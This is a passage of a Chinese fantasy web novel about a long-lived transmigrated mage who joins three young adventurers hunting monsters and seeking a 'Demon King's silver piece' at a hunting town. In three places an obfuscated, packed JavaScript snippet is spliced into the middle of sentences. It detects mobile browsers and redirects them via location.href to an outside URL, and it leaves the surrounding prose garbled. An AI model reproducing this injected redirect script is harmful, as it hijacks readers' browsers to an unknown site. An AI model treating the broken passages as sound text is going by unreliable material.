《魔王今天的访客》 1. 经典冒险故事 克雷尔早在一千年前就说过，沉迷漫画不是件好事。 但她显然没有吸取教训，否则也不会死皮赖脸，非要加入由三个少年组成的冒险小队了。 三人组里的领头是棕发少年，在五分钟前，她不小心掉进河里，现在身上的衣服还没干透，正在被同伴骂。 骂她的少年有着一双湖蓝色的眼睛，和银白色的头发，是三人组中最高最壮的那个，皮肤偏黑。 克雷尔感到疑惑，五分钟前，她亲眼看到银发迅速把棕发少年从河里捞出来，却在给对方拍去肩上水草时，不小心，一巴掌又把人拍河里去了。 所以克雷尔不是很明白，她骂棕发的底气是从哪来的。 “你们安静点！” 出声呵斥的是站在三步以外、鼻尖有痣的少年，她正在专心复原被水浸湿的地图。 克雷尔以为她会使用物理类型的魔法，比如干燥，然而她飞快掏出一本书翻了翻，对地图使用了时间魔法，将地图的状态调整到了还没浸湿前。 引得克雷尔挑了挑眉。 那可不是她这个年纪能轻易掌握的魔法。 多经典的三人组啊。 如果克雷尔决定画漫画，一定会把这三个人作为故事主角。 “地图干了吗？” “干了，我们距离魔王的城堡只有一半的路程了。” “预言里说我们必须先前往一座拥有巨大弓箭人像雕塑的小镇，然后才能去魔王城堡。” “但地图上没有标出雕塑，出了森林有好几个小镇，我们究竟往哪走？埃弗里你知道吗？” 名字叫做埃弗里的少年收起地图，摇了摇头，她不清楚哪个小镇上有巨大的雕像。 这是当然的。 克雷尔一眼就能辨认出，她们中骨龄最大的只有16岁，最小的15岁，对于平均寿命两三百年的种族来说，她们还太年轻了。估计是第一次出远门。 所以，这是由被预言选中的三个年轻人，组成的讨伐魔王的小队吗？ 克雷尔都快怀疑自己身在某个漫画里了。 她从树上一跃而下，摘下黑色兜帽，适时插.进话题:“你们是在找拥有雕像的小镇？我可以带你们过去。” 三人组被吓了一跳。 棕发和埃弗里同时看向银发，银发摇头，面露警惕。 刚才在树上被树叶遮蔽了视线，克雷尔这才注意到，银发少年的种族是精灵。 精灵的五感比其她种族更为敏锐，更何况现在是森林中，属于精灵主场，一般来说，不可能发现不了第四个人的存在。 “不是你不够警惕，隐匿气息是我们的必修课程，”克雷尔从口袋里拿出证件，自我介绍，“克雷尔，异常生物魔法研究协会的成员，三天前来到这里，处理森林里新诞生的魔物。” 在冬季，太阳的庇护变弱，森林里诞生的魔物大多拥有魔抗属性，魔法对上它们不占优势，因此，暗中偷袭就成了消灭魔物的主要手段。 隐匿气息，不被魔物察觉，是研究所成员的基本素养。 埃弗里接过证件，翻开仔细查看，证件右下角用小字署着签发日期:2/17/163/25 是300年前了，证件上的照片和眼前这个黑兜帽也对得上，容貌完全一样，没有丝毫变化，看来这个人是长生种。 或许是身上衣服色调偏暗沉的原因，真人看起来要比照片里孤僻很多。 埃弗里打消了疑虑，将证件递还给她。 棕发见确认了身份，就笑着搭话:“我们一路走过来，都没遇到什么魔物，我本来还在疑惑，原来是你已经处理了。” “不止这个原因，”埃弗里说，“初冬时人们都会举行冬日狩猎，她们遇到弱小魔物，也会顺手处理掉。” “这么说小镇里也肯定在举行狩猎喽？如果我们运气好的话，还可以参与其中，说不定能趁机和她们打好关系，再打探一下魔王的银片。”银发跃跃欲试，精灵本身就是善于狩猎的种族。 克雷尔问:“魔王的银片？” “是的，据说那个小镇里的人们，从千年前就保管着魔王的银片，但它具体长什么样子，有什么用途，我们还不清楚。” 这真奇怪。 克雷尔活了上千年，从来没有听说过关于魔王的任何事情，如果魔王还未诞生，为什么千年前就保存着魔王的东西了呢？ 埃弗里看她沉默不语，主动开口:“刚才忘记自我介绍了，我叫埃弗里，旁边棕发的是安西娅，银发是蒂娜，如果你愿意给我们带路，我们会非常感激。” 克雷尔说:“感激的话，可以让我加入你们吗？” 安西娅有些惊讶:“你为什么想加入？” “如你们所见，我的工作已经完成了，在接下来的一年里我都无事可做，而你们恰好提到了魔王，这个完全不存在的人物，就理解下一个魔法师的好奇心吧。” “确实不存在，预言里说的是未来的事，现在魔王还不是魔王呢，所以我们会在灾难发生前阻止她。” “所以你们是讨伐魔王小队？” “如果她已经做了坏事，我们会讨伐她的。” 克雷尔重复:“我们？” “对，我们三个，不包括你。”蒂娜心直口快，说完就被埃弗里斜了一眼。 安西娅开口:“……蒂娜没有恶意，只是，关于让不让你加入的问题，我们需要先开个内部会议。” 她们走到了离她两米远的地方，压低声音讨论。 克雷尔听得清清楚楚，她们也知道这点距离根本不够，只是做做样子。 让她加入的理由是，她是研究协会的成员，很强，能提供很大帮助。毕竟她们都不到二十岁，而对手是魔王，实力差距太大了。 不让她加入的理由很简单，预言里只有三个人。 经过半个小时的讨论，她们同意让她加入，只有一个要求:不到万不得已的境地，她不能提供任何帮助。 克雷尔当然同意了，她只是心生好奇，想近距离观看而已，又不是真想对付魔王。 在路上，安西娅跟她简单说明了情况，和大多数俗套的勇者魔王漫画一样，她们被预言选中，而其她人根本不相信她们的话，于是她们只好独自出发。 “其实和预言纸一起出现的，还有一份预言画，但画我们无法拿走，而且那上面的文字，根本不是世界上存在的任何一种，太怪了，压根看不懂。” “我把预言画的画面记下来了，”埃弗里停顿一下，“但我不擅长画画，没办法把它复刻出来。” “有纸张就够了，上面的内容，是根据预言画破译出的，”蒂娜咬牙说，“可惜那个破译的精灵早就去世了，别人根本不相信我们！” 那个精灵生前是活泼爱开玩笑的性格，以至于她们拿出了预言，别人也不信，只当这是个前人开的、无伤大雅的玩笑。 “是什么样的预言画？可以描述一下吗？”克雷尔问。 “哦，可以，如果你看到它，你立刻就会注意到，它用的是很特别的笔墨……” 埃弗里正说着，蒂娜突然出声打断她，“你们看那棵树！” 她的眉头皱得紧紧的，嘴唇抿起，顺着她的目光看过去，一棵因掉了叶子而变得光秃秃的树正在空地游荡。 ……游荡。 虽然速度很慢，但确实是在飘动着前进没错，离它不远的地方，几株暗紫色的拉布列花正在盛放。 这里的冬天和其她季节完全不同。 冬令刚过，拉布列花一夜之间长满了整个森林，到处都可以看到它那艳丽至极的紫色花朵，足有人脸那么大。 这种花只在冬季开放，从破土到开花只需一刻钟。它散发出一股暖烘烘的香气，闻起来像是烤栗子，吸引着各种小动物向它靠近。 凑近了看，就会发现在那七瓣花瓣上，若有若无地蒙着一层薄雾。 拉布列花有点像捕蝇草，不同的点是，当昆虫之类的小动物被吸引过来，被雾气吞噬后，雾气将会继承动物的可移动特性，不再只盘旋在花瓣上，而是向外扩散。 可以移动，就可以吞噬其她生物。 起初只是一团白色的烟雾，和林间雾气没什么两样，吞噬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559893|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物越多，雾气越浓，逐渐变得具有腐蚀性，到最后甚至会根据被吞噬最多的生物，幻化出拟态，以达到迷惑猎物的效果。 魔物没有智慧，吞噬、成长、继续吞噬，就是它存在的唯一意义。 森林里最多的是当然是树，被吞噬最多的也是树。 如果在冬季，看到暗紫色的树在空地之上漂浮游荡，就说明这里不仅有魔物，而且已经成长到可以吞噬智慧生物的程度了。 蒂娜咬着牙，质问克雷尔:“你不是说你已经把魔物都处理掉了吗！？” “是的，除了这个，我特意把它留了下来。” “为什么！？你疯了吗？” “我刚才说了，把这里的魔物处理完，我今年的工作量就完成了，会很无聊。所以我留了一个，打发时间。” 在她原本的打算里，她会一直留在这，盯着它，直到明年春天到来。 计划赶不上变化，她现在要离开，就没必要留着它了，克雷尔问:“要我来解决吗？还是你们来练练手？” 埃弗里看向安西娅，安西娅点点头:“有点困难，但没问题。” “我们来吧。” 克雷尔做了个“请”的动作。 正如先前所说，冬季的魔物拥有魔抗属性，三人组里，埃弗里擅长魔法，精灵族的天赋同样点在魔法上……在克雷尔看来，这可不只是“有点困难”。 安西娅快速分配任务:“行动缓慢、毫无目的，呵，看来它只顾着吞噬树了，埃弗里，你制造屏障困住它，蒂娜，接住这个。” 扔过去的是一个锥形药剂瓶。 她们在冬季进入森林，不可能毫无准备。 “要小心，虽然外表是颗树，但本质是雾气的凝聚态，雾气容易逸散，让它逃出来一点都……动作要快！” 人在行动时带起的风，必然会导致雾气逸散，只能快刀斩乱麻，尽可能快的解决。 “明白。”蒂娜拉开拉环，并未打开。 “好，3、2、1，蒂娜！” 安西娅声音落下的同时，蒂娜助跑一跃而起，安西娅眼也不眨地注视着她的动作，默数呼吸的频次，大喊:“埃弗里！” 在第一个音节喊出的那刻，埃弗里立刻释放屏障，将魔物围起，拦住雾气逸散的方向，蒂娜高高跃起，精准踩在屏障之上，将药剂瓶摔进去，脚尖点地离开，屏障立即收拢，将魔物困在其中。 药剂瓶里装着的是专门溶解魔物的气体药剂，呈深红色，瓶子炸开后立刻蔓延开来，眼看着红色逐渐占据了屏障内的大部分空间，三人这才松了口气，擦去额头上的汗珠。 摧毁魔物的过程其实很简单，但想做到根除，就非常考验对魔法掌握的精准度，和对身体的控制能力。 更重要的是，几乎是同时行动的两个人要有足够的默契，否则就需要非常准确的指挥。 她们这番操作是教科书级别的。 就算是魔法协会的成员，一般也是需要两到三人，且必须经过三个月以上的磨合，才能接下这个任务。 克雷尔是例外，她是长生种，寿命长，魔法也自然更强——魔物只是拥有魔“抗”而已，又不是免疫。 埃弗里正撑着膝盖大喘气，安西娅拿出备用的药剂撒在拉布列花的花朵上，腐蚀发出的滋滋声不绝于耳。 蒂娜用手肘捅了捅克雷尔，“你确定这是最后一个吗？” “当然。”克雷尔想了一下，问，“可能有点冒犯，但，你能把你的名字再告诉我一遍吗？” 克雷尔只记住了埃弗里，另外两个人还没把人和名字对上号。 “蒂娜。”精灵不太高兴地说。 “嗯，蒂娜，我刚刚就注意到了，你的弹跳力不错，精灵族在魔法上有天赋，没想到身体素质也这么强。” 蒂娜立刻高兴起来了，却又故作矜持，“我们精灵族有一句俗语，在玩石子棋时，你手里的卡拉石越多越好。” 克雷尔笑，“我知道这句话。” 石子棋是一款在精灵中非常流行的游戏，卡拉石是其中的王牌，用来连接棋盘上分散的棋子。 2. 暖灯与牛肉汤 克雷尔是穿越者，虽然时间太久，连她自己都快忘了。 但偶尔还是会突然想起，哦，原来我是穿越的。 现在正属于这种情况。 她穿越前的世界没有任何玄幻因素，更没有非人类种族，不过，描写异世界异种族的作品非常多。 所以穿越过来的克雷尔接受良好，随遇而安。唯一让她困扰的是，两个世界的语言不互通，她花了十来年的时间才彻底掌握这门语言。 蒂娜所属的种族音译过来应该是“奥科莱托”，字面意思是“从林的孩子”，是克雷尔自作主张把它翻译为“精灵”。 因为这个种族和她们那漫画小说里描写的“精灵”太像了。 极短的头发，能让她们在快速穿梭于林间时不被树枝挂到；如果她们在野外遇到魔兽，强壮有力的四肢能够帮助她们快速致胜；极具爆发力的肌肉，哪怕遇到了魔抗属性的魔物，在魔法不起作用的情况下，依旧可以顺利脱身。 单看骨龄，蒂娜是三人中年纪最小的那个，却是最高最壮的那个。 总不可能是因为安西娅和埃弗里不懂“卡拉石越多越好”的道理。 只能说是种族天赋加成。 她们是货真价实的“丛林的孩子”，天生适合野外生活，但不能因此说她们深受母神阿卡姆托的偏爱。 精灵是所有智慧种族中寿命最短的那个，只有两百年左右。 克雷尔第一次知道的时候还为此惊讶了一下，毕竟这个世界的人类都有三百年的寿命。 只能说阿卡姆托是平等的，就像是石子棋在开始前，对弈双方拥有的棋子是完全不同，且分量相等的。 克雷尔很久没玩过石子棋了，蒂娜执意要来一局，理由是“我们一时半会也离不开”。 目前市面上的药剂要想彻底腐蚀拉布列花，至少需要半个小时。 克雷尔拒绝了她，“我已经完全忘记规则了。” 石子棋的优点是方便，只需要有一些卡拉石——这是魔火石，所有精灵都会随身携带，再随意捡一些石子，就可以开始游戏。 道具很简单，规则却十分复杂，丛林狩猎往往需要长时间蛰伏，石子棋正是为了锻炼精灵的耐心而诞生的游戏。 换句话说，就是又繁琐又无聊。它在精灵族的地位有点像是“趣味数学题”，侧重功能性。 “好吧，”蒂娜把卡拉石放回口袋，“我还以为长生种都记忆非常好的。” “这完全是误解。” 蒂娜耸了耸肩，起身走到埃弗里身边，蹲下等了几分钟，见埃弗里没有睁开眼睛，又走到安西娅身边蹲下，询问时间。 如此重复几遍之后，所有拉布列花都变成了一堆灰烬，空气中刺鼻的味道逐渐散去。 埃弗里睁开眼，走到安西娅旁边，蹲下捻了一点灰土，放在鼻尖闻了闻。 安西娅弯着腰问她:“这样应该就可以了吧？” “按照书上说的，是这样就行了，不过保险起见……”埃弗里略做思考，从包里拿出来一张羊皮纸，盖在灰土上，并用魔法压住羊皮纸，“现在没问题了。” 她站起身，揉了揉脖子，“更高阶的魔法我还没学会，但有时候用一点附加手段，也能有相同的效果。如果20小时内羊皮纸被捅破了，说明拉布列花重新破土了，如果没有感受到异常，那就不用管它。” “接下来要辛苦克雷尔带路了。” 预言画里对此只是一笔带过，预言里倒是有描述，却也十分简略，只说【魔王的银片】所在的小镇拥有一尊巨大的石像，非常显眼，如同迷宫的灯塔。 在克雷尔的印象中，符合这个描述的只有一个小镇，那就是森林正南方的镇子。 石像起到导向标的作用，只要不深入森林的腹地，就可以随时通过石像判断自己的方位。 三人组自北向南穿越森林，克雷尔由外向里清除魔物，她们正是森林腹地相遇的。 这里看不到石像，否则她们压根不需要克雷尔带路，自己就可以摸索着过去了。 森林面积很大，行走到日暮天黑时，才远远地看到一点石像的轮廓。 安西娅在心里估算了一下时间，说:“到达镇上至少还要两三个小时，那时夜已经深了，不如我们先在这里吃完晚饭再过去，也省得打扰镇上的人。” 说完又看向克雷尔，“你觉得呢？” “我没意见。” 赶了好几个小时的路，几人早就饿了，这种情况下吃饭只求快速填饱肚子，没有人愿意去做精细耗时的餐食。 把黄油块扔进魔法速热平底锅里，融化后放入面包片，煎到双面金黄，培根肉扔进去，煎至卷曲，撒上黑胡椒粉即可。 培根油多，全部取出后，锅里热油依旧滋滋作响，再把烤好的鹿肉切片，同样扔进去。 另支起一口锅，冷冻的番茄土豆牛肉块硬邦邦得像石头，丢进锅里，把水加至七分满，埃弗里又切了个新鲜的西红柿进去。 魔法像不要钱一样往里加，不一会儿汤就咕嘟咕嘟冒泡，升腾的热气伴随着牛肉汤的香气四溢，把她的脸熏得通红。 挂在树枝上的魔法灯由克雷尔提供，灯光偏暖，夜晚的薄雾、人呼出的热气、和热汤的香气共同交织成一张暖融融的毛毯，让人几乎要满足地睡过去。 安西娅吃饱后靠在树上犯懒，眼睛半闭，埃弗里正盯着她心爱的汤，发誓在西红柿块彻底融化在汤里之前，不允许任何人动它。 蒂娜则往面包上抹树莓酱，大口嚼着面包，不太高兴地对克雷尔说:“我发现你一直往我这边看，有什么话就直说，你这样很奇怪！” 精灵的五感确实敏锐，克雷尔不打算解释太多，看了一眼地上的果酱瓶子，顺势说:“只是有点意外。大多数精灵都不爱吃酸的，你是我见过第二个喜欢吃酸的精灵。” 精灵祖祖辈辈生活在丛林里，果实酸代表未成熟，肉类酸代表已腐败。刻在基因里的东西没那么容易改变，即使是现在，大多数精灵仍对这种口味敬谢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559894|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏。 “第一个是谁？”蒂娜吃完了面包，又拿出夹了片滋滋冒油的鹿肉，一口咬下去被烫得倒吸冷气，一边拼命吸气降温，一边含糊地问。 “我的一个朋友。” “哦，我见过第一个喜欢吃酸的是夏林，我们那好几百号人，就我们俩喜欢——”蒂娜正说着，表情突然警惕起来，“等会，你该不会是她派来跟踪我们的吧？名义上是给我们引路，但实际上是想把我们骗回聚集地？” 听她的意思，夏林应该是个成年人。克雷尔问:“你又不是小孩，有必要跟踪你吗？” 总体寿命两百年，十几岁的精灵算是少年还是孩童呢？克雷尔其实不太确定，她很久没有和精灵、或者人类打交道了。 不过她隐约记得，自己在这个年纪时一点也不愿意被称作“小孩”。 “当然有必要，因为、因为……”蒂娜眼神变得躲闪起来，含糊其辞。 埃弗里加入对话，仍是注视着汤，头也不转一下，“因为我们把放在圣地的预言纸偷了出来——应该不会有人注意到。” “别说那么直接！我们只是带上预言纸一起冒险而已，就像我们带上克雷尔一样，它是我们的第四、”蒂娜看了一眼克雷尔，“第五位旅行同伴。” “很荣幸你肯定了我旅行同伴的身份，并且把我排在那张纸之前。” 昨天蒂娜还不愿意让她加入呢。克雷尔慢条斯理地补充，“但很遗憾，这就是偷。” “哪怕我们精心制作了足以以假乱真的赝品？”蒂娜仍要为自己开脱。 “只是从临时起意的偷变成有预谋的偷而已。” 埃弗里开始盛汤了，从容地回答:“对，就是偷。你要看下我们偷过来的预言纸吗？现在那张纸就在我身上放着。” “不必了，你现在也腾不开手。” “好吧，既然埃弗里这么说，”蒂娜心不甘情不愿地接过埃弗里递过来的汤，嘬了一口，才继续说，“本来我们想把预言画也一起偷的，可惜抠不下来，只能让埃弗里把它的内容背下来了。” “这样。不过你可以放心，我说的那个朋友早就去世了，绝对不是夏林。” “啊！抱歉！” “没关系，活得久了就是会这样，我并不是很在意。” 蒂娜仔细确认了她的表情，像是为了弥补或是表示亲近，端着汤挪到她旁边，“你那个朋友叫什么名字呢？我的意思是，精灵的聚集地离得都很近，说不定我听说过她……” 克雷尔把目光从热气腾腾的汤碗上移开，望向远处，“从我们这里已经可以看到镇子里的石像了，应该是你们要找的那个吧？” 蒂娜果然立刻忘记原本的话题，站起身，顺着她的视线看过去。 其实还有一大段距离，但从她们这个角度，能隐约看到石像的轮廓。 那是一个手持弓箭的人像。 和大多数的狩猎石像一样，箭矢并不指向天空，弓箭的高度与肩膀齐平，肌肉隆起，弓弦紧绷。 3. 精灵有句老话 不难看出，安西娅是三人中的领队，擅长组织与调配，埃弗里魔法精湛，是学院派的天才，蒂娜则长于实践，性格大大咧咧，感觉是容易受骗的类型。 克雷尔的那个精灵朋友和蒂娜完全不同，脑筋活泛，爱开玩笑，只有她骗别人的份。 绝不可能被别人一句话就转移了话题。 蒂娜眯着眼睛仔细看，“应该是这个吧，太远了，看不清，预言里怎么形容的我也忘了……这种狩猎像都长得很像。” “那就只能抵达后再确认了。” 蒂娜揉了揉眼，“只能这样了。” 抵达时夜色已深，整个镇子只有天上的星星和自助旅店的灯还亮着。确认过石像后，四人进入旅店，简单登记，并取了四张连号的房牌。 第二天，安西娅第一个醒来，她下楼和旅店的其她客人简要聊了几句，然后外出。 蒂娜醒来后去厨房找了几个三明治，简单垫垫肚子，绕着镇子跑了十几圈，锻炼并熟悉路况。 锻炼结束，推开旅店大门，正碰到坐在大厅餐桌旁，准备吃早餐的埃弗里和克雷尔，于是快速上楼冲了个澡，下来一起吃。 吃到一半，安西娅也回来了，接过埃弗里递来的早餐。 她饿坏了，吃了两个煎蛋后，才开始往面包上涂抹炼乳。 “我和镇子里的老人们交涉了下，当我提到魔王的银片时，她们显得很犹豫，看来她们手里确实有，但没那么容易交给我们。 “对了，现在正是狩猎季的收尾阶段，她们十一点钟会出发去打猎。” 蒂娜坐直身体。 “放心，我已经替你报名了，你一会儿直接过去，就说‘我是安西娅先前介绍过的蒂娜’，不过狩猎来的猎物都归镇子。” “没问题！” 先前在森林里急着赶路，别说狩猎了，都是避开动物们行走的，路上顶多看到一两只野鸡，还不能抓来烤。 “埃弗里，你可以帮忙检修一下镇子里的魔法用具吗？她们似乎很苦恼。” 埃弗里点了头，于是安西娅继续说:“至于我，我会帮助委员会统计今年冬季所需的肉类总数，并参与规划——在拿到银片前，我们要在镇子里呆一段时间，不能白吃白拿，总该给予回报。” 就算她们什么都不做也没关系，谁会强制要求一群孩子做事呢？ 当然，克雷尔不算在内。 安西娅少见地为难了下，把目光放在克雷尔身上，“克雷尔你打算和我们中的谁一起行动呢？或者在旅店好好休息一下吧，这一路上辛苦你了。” 她唯独没有给克雷尔安排任务。 可以在未经同伴允许的情况下，主动提出要帮镇子的忙，是因为她们非常熟悉亲近，很清楚对方想要做什么，不喜欢做什么。 可她和克雷尔昨天才认识，不了解对方。 “我和埃弗里一起吧，我也更擅长魔法。” 安西娅松了口气，笑道:“看来只有蒂娜一个人去狩猎像那里了。” 镇子很小，井字形布局，井字正中是委员会，东北方向是狩猎像，也是狩猎小队的出发点。 其她三个人都要去委员会。 魔法用具在经过一年的使用，往往会老化，还有“冰柜”等消耗品，也需要重新进行扩容才能使用。 这些需要维修的用具都堆在委员会的仓库里。 “帮大忙了，如果只有我自己，肯定需要好几天。”埃弗里正在拆解一个草绿色的烤箱，把拆出的黑色方块递给克雷尔。 克雷尔往里注入魔力后，埃弗里把它塞了回去，重新拼装好。 魔法用具没那么容易坏，大多是魔力耗尽了，重新填充就行，十几岁少年的魔力就像个小水坑，里面的水根本不够用。 “感觉我们有点像维修工，对吧？”埃弗里擦了擦汗。 魔法有点类似于前世的电力，所有人都拥有且能使用电力，但不是所有人都从事电力相关的工作。 专职魔法师分为好几个种类，其中生活类工种，又细分为发明、制作、维修魔法用具等。 “说起来你可能不信，我魔法课必修的是进攻类。”埃弗里说，虽然第一次在克雷尔面前施展，用的是屏障这种防御魔法。“选修选的恰好是魔法用具维修，反正不难，自己修比去找专职魔法师要快。” “我也选修过这门课。” 休息的间隙，安西娅为她们送来一壶红茶，然后回到正厅，继续和镇子里的成人们做统计工作。 “她总是能轻易融入那种场合。”埃弗里说。 “哪种场合？” “那种能和很多长辈对话，并且不因为年龄而被特别关照的场合。其实我有点羡慕，总觉得，这样就是被当做大人对待了。” “但你不是。” “没错，要等我的身体成年，至少还要二十年，而我还在为这种事情苦恼，说明我的心智也没有成熟。” 克雷尔稍加思索:“知道吗？那几个‘大人’年纪加在一起，也没有我大，而现在我在和你对话，所以你已经进入你想要的那种场合了。” 埃弗里笑了，“谢谢你的安慰。” 克雷尔对待她们这些未成年，确实和对待成年人没什么不同。 成人总会想着要关照孩子，只是对于长生种来说，十六岁大概和一百六十岁没有太大区别，都太年轻了。 “说到这个，克雷尔是什么种族的呢？大多数长生种都有着非常明显的特点，但你看起来和人类没有区别。” “是个好问题。” 埃弗里等了半分钟，也没等到下文，用眼神催促了下。 “是个好问题，因为我也不知道。” 她穿越前是人类，显而易见；她是身穿，所以寿命应该是一百二十年；这里的人能活三百年，如果她在三百岁那年死了，也合情合理。 但她已经活了上千年了。 属于她的时间，仿佛永远定格在刚穿越过来的时刻，没有前进过。 掌管她时间的巨蛇肯定是跑去冬眠了。 把所有魔法用具都维修完成，天已经彻底黑了，安西娅那边也和年迈的猎手们，完成了基础狩猎方程式的构建，只等今年的第一批狩猎者归来。 “蒂娜她们也该回来了，都这个点了。” “今天收获颇丰，猎物马上就清点完成了，预计一个小时后回到镇上。” 狩猎队停驻在河边，正在清点猎物和弓箭。 带头的青年身高将近两米，在人群中颇为醒目，她把人们数了又数，怎么都缺了一个，缺的还正是那个新加入的年轻精灵。 她转了一圈，没找到，想起精灵爱上树，这才往上面看，却发现蒂娜正蹲在离她不远的一棵树上，同样抬着头往上看。 她走过去，用力踹树一脚，眼看着树上的人身形晃了晃，却又立刻站稳，不太高兴地怒瞪着她。 “都开始清点了，马上就走，你还在树上干什么？” “天上有一群好大的雁。”蒂娜意犹未尽，又抬头看了一眼，把弓箭扔下去。 领头接住弓箭袋，扔给清点的人，也看过去，同样感叹:“是啊，确实好大好肥。” 不猎取天空之上的动物，这是她们心照不宣的规则。 陆地上的弓箭从不指向天空，因为那是斯凯奇诺的领域。 “今天是吃不到了，过几天斯凯奇诺开城做交易，说不定能用我们的猎物换几只大雁回来。” “过几天我们都要走了。”蒂娜撇嘴。 领队思考:“嗯……那今天给你留一只最肥的猪腿怎么样？” “我要最肥的羊腿！” “行，下来吧你。” 夜晚是桑葚一样的深紫色，高低各异的树投下的阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559895|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是桑葚上深浅不一的沟壑，人们提着明亮的灯，驾着车，在沟壑中行驶。 出来迎接的人也提着灯，两束灯光交汇，停住不动了。 “就等你们了，怎么样？” “不错，可以放心办庆祝会。” “你这话说的，不管收获怎么样，庆祝会都是要办的——迎冬哦。” 两簇灯光聚成一簇，绕过狩猎像，停在委员会前的空地上。 灯火通明。 衣服上沾血多的猎手去换了衣服，没什么血的洗了手就直接往后面去，有准备好的烧烤宴会等着她们。 留守镇里的人们负责二次清点，将猎物分门别类称重，并拿出一部分切开腌制，作为烧烤的重头戏。 蒂娜拿到了那只最肥的羊腿，快活地跑向同伴们。 同伴们正在闲聊，远远看见她挥了挥手，等她到后继续说:“刚才称重完成，也已经计算过了，今年的狩猎可以持续一周。” “好耶！” 埃弗里泼了冷水:“我们不会停留那么久。” 蒂娜嘴角立刻耷拉下来。 安西娅笑，“明天的事明天再说，你还不赶紧去把那只羊腿烤了？这么大只，至少要一个小时呢。” 蒂娜去领烧烤架，转头看了她们一眼，“你们要自己烤还是吃现成的？” 埃弗里想了想:“自己烤吧，现成的已经吃了不少了。” 负责分发的镇民乐呵呵的，问她们:“猪肉羊肉还是野鸡肉鹿肉？今年的猪肉是真不错，一个月的时候就给骟了，肉质那叫一个好。” 养殖并不少见，很多人家都会饲养，在猎户家里，也会饲养猪仔，等到满月龄之后阉割放归山上，冬季再进行猎取。经过充分野化的猪肉质更加紧实，提早阉割又去除了大部分腥膻味。 蒂娜:“那就再来两块猪肉，再来个烧烤网，一个架子不够用。” 埃弗里:“我也多来两块猪肉吧，别的肉也都来点。” 安西娅:“我只要猪肉。” 她整个下午都被阉猪方程式折腾得够呛。 根据捕猎回来的阉猪们的数量和体重，能后判断出这个冬季的狩猎上限。 有一套非常严密复杂的计算方程式，严密到什么程度呢？反正从小和狩猎打交道的蒂娜，至今连那个方程式需要几则运算都搞不清楚。 不过长辈们提得多了，她至少明白底层逻辑是什么，猪位于食物链的中上端，所以是很好的参考标杆。 简单来说，就是，如果放出去的猪数量很多，抓回来的数量非常少，说明森林里的顶级捕食者多，动物生存压力大。 如果能抓回来很多，且个个吃得特别肥，说明食物丰富。 以小见大，能判断森林的动物现状，进而推断猎取量，满足人们狩猎需求的同时，做到对森林“无创”。 其实蒂娜觉得没必要，除非所有猎人每天都去森林捕猎，每天捕24小时，或者用魔法扫荡，否则怎么捕猎都在森林的承受能力之内。 不过有点仪式感也挺好，反正闲着也是闲着，而且阉过的猪肉确实更好吃了。 擅长狩猎的人往往也擅长烧烤，简单烹饪，以激发食材的本味。 安西娅烤一片五花肉要加三次料，腌料一次，烧烤时刷酱一次，烤完洒料又一次，蒂娜对她这个纯粹吃调料的做法很看不惯。 埃弗里的做法又太教科书了，克雷尔中规中矩，没有让她评判的机会。 蒂娜是只洒盐派，吃一个原汁原味。 埃弗里幽幽地说:“追求本味的话，应该清炖吧。” “我们精灵族有一句老话。”蒂娜说完故意停顿，用眼尾看克雷尔，见克雷尔摸不着头脑，才得意地说下去，“如果你只剩下最后一块羊肉，也应该要烤着吃。” “……” “……精灵族的老话可真多啊。” 4. 魔王的银片 蒂娜:“这么说是有依据的！” 炖煮能减少食材的分量流失，烤制会有油脂溢出，导致分量大幅缩水。 就剩下最后一块了，也要烤着吃，可见有羊腿多适合烤。 烤好后蒂娜给同伴们各分了一块，虽然再原汁原味，到安西娅手里，也逃不过被撒料蘸酱的命运。 埃弗里接过来后裹上生菜，用一只手拿着吃，另一只手继续翻阅腿上的书本。 倒不是有多热爱学习，她看的是食谱。 蒂娜问她:“好吃吗？” “好吃，味道很好。” “那你还看什么书！”蒂娜把她的书合上，“明明最擅长烧烤的人就在这，为什么要去看书？” “不一样，这是今年学校图书馆评选出的，阅读时长排行第一的书。” 克雷尔意外:“你们还偷了学校图书馆的书？” “是借，”埃弗里纠正，“我使用了借阅证。正规手续办理的借阅证。” “顺便一提，这本书借阅高峰期是期末测验前，是让学生们放弃复习也要看的食谱，经过大众认可的口感不会差。” “会差的。”安西娅幽幽说。 “看，安西娅也站在我这边！”蒂娜高兴了。 “倒不是站在谁那边的问题，只是你们斗嘴的功夫……埃弗里，你的火有点过于旺了。” 烤架上的肉已经初见炭形，烧焦的部位黑黢黢的。 埃弗里甩了几个时间魔法上去，效果不佳，只是从黑色变成了深褐色，从完美的炭变成了燃烧不充分的炭而已。 更糟的是，这一半焦黑，另一半还生着，色泽红润，新鲜得像是刚切下来一样。 